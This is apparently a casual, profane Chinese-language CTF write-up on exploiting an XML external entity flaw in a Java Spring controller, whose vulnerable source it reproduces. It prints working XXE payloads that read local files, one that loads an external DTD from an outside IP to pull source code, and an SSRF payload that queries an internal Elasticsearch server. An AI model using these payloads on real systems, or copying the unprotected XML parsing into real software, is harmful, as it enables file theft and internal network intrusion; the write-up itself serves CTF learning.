一个query
一个post
一个accept

第三个路由下有个xml外部实体注入,我测你妈

%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%20standalone%3d%22no%22%3f%3e%3c!DOCTYPE%20post%20%5b%3c!ENTITY%20hacker%20SYSTEM%20%22file%3a%2f%2f%2f%22%3e%5d%3e%3cpost%20author%3d%22CTF%20Participant%22%20id%3d%220%22%20title%3d%22234%22%3e%3cmessage%3e%26hacker%3b%3c%2fmessage%3e%3c%2fpost%3e

也就是

<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE post [<!ENTITY hacker SYSTEM "file:///">]><post author="CTF Participant" id="0" title="234"><message>&hacker;</message></post>

但是不知道读到后有什么用

<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE post [<!ENTITY % start "<![CDATA["><!ENTITY % go SYSTEM "file:///JustGoAround/src/main/java/com/example/justgoaround/MainController.java"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://8.140.17.117/evil.dtd"> %dtd;]> <post author="CTF Participant" id="0" title="234"><message>&all;</message></post>

然后evil.dtd里是

<!ENTITY all "%start;%go;%end;">

这样就可以读取到特殊字符的文件了喵

@Controller  
public class MainController {

private ElasticsearchClient elasticsearchClient;
private ArrayList<Post> posts;

@GetMapping()
public String getIndex (Model model) {

model.addAttribute("posts", new ArrayList<Post>());

return "index";
}

@PostMapping()
public String postIndex (@RequestParam(defaultValue="", required=false) String query,
Model model) throws Exception {

SearchResponse<Post> search = getElasticsearchClient().search(s -> s
.index("posts")
.query(q -> q
.multiMatch(cf -> cf
.fields("author", "title", "message")
.query(query)
.fuzziness("2")
)
).postFilter(f -> f
.match(m -> m
.field("isActive")
.query(true)
)
),
Post.class);

model.addAttribute("posts", search.hits().hits().stream().map(Hit::source));

return "index";
}

@GetMapping("/post")
public String getPost () throws Exception {
return "post";
}

@PostMapping("/post")
public String postPost (@RequestParam(defaultValue="", required=false) String title,
@RequestParam(defaultValue="", required=false) String message,
Model model) throws Exception {

Post post = new Post("0", "CTF Participant", title, message, true);

Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();

// root element
Element postElement = doc.createElement("post");
doc.appendChild(postElement);

Attr authorAttr = doc.createAttribute("author");
authorAttr.setValue("CTF Participant");
postElement.setAttributeNode(authorAttr);

Attr titleAttr = doc.createAttribute("title");
titleAttr.setValue(title);
postElement.setAttributeNode(titleAttr);

Attr idAttr = doc.createAttribute("id");
idAttr.setValue("0");
postElement.setAttributeNode(idAttr);

Element messageElement = doc.createElement("message");
messageElement.setTextContent(message);
postElement.appendChild(messageElement);

// write the content into xml file
Transformer transformer = TransformerFactory.newInstance().newTransformer();
DOMSource source = new DOMSource(doc);

String postXml;
try (ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
StreamResult result = new StreamResult(baos);
transformer.transform(source, result);
postXml = baos.toString("UTF-8");
}

model.addAttribute("post", post);
model.addAttribute("postXml", postXml);

return "review";
}

@PostMapping("/accept")
public String postAccept (@RequestParam(defaultValue="", required=false) String postXml,
Model model) throws Exception {

Document doc;
try (ByteArrayInputStream bais = new ByteArrayInputStream(postXml.getBytes(StandardCharsets.UTF_8))) {
doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(bais);
}

var element = doc.getDocumentElement();
var author = element.getAttribute("author");
var title = element.getAttribute("title");
var message = element.getFirstChild().getTextContent();
Post post = new Post("0", author, title, message, true);
model.addAttribute("post", post);

return "accept";
}

private ElasticsearchClient getElasticsearchClient() {

if(elasticsearchClient != null) {
return elasticsearchClient;
}

RestClient restClient = RestClient
.builder(HttpHost.create("http://"+System.getProperty("ELASTIC_HOST", "db")+":9200"))
.build();

// Create the transport with a Jackson mapper
ElasticsearchTransport transport = new RestClientTransport(
restClient, new JacksonJsonpMapper());

// And create the API client
elasticsearchClient = new ElasticsearchClient(transport);
return elasticsearchClient;
}
}

源代码喵,看不懂喵,死了算了喵

和源代码没什么关系,内网探测一下,里面有个数据库,然后利用的是这个数据库的http查询,虽然不会,但是有gpt,还是可以操作一下的

<?xml version=“1.0” encoding=“UTF-8" standalone=“no”?><!DOCTYPE post [<!ENTITY hacker SYSTEM “http://172.21.0.2:9200/posts/_search”>]><post author=“CTF Participant” id=“0" title=“234”><message>&hacker;</message></post>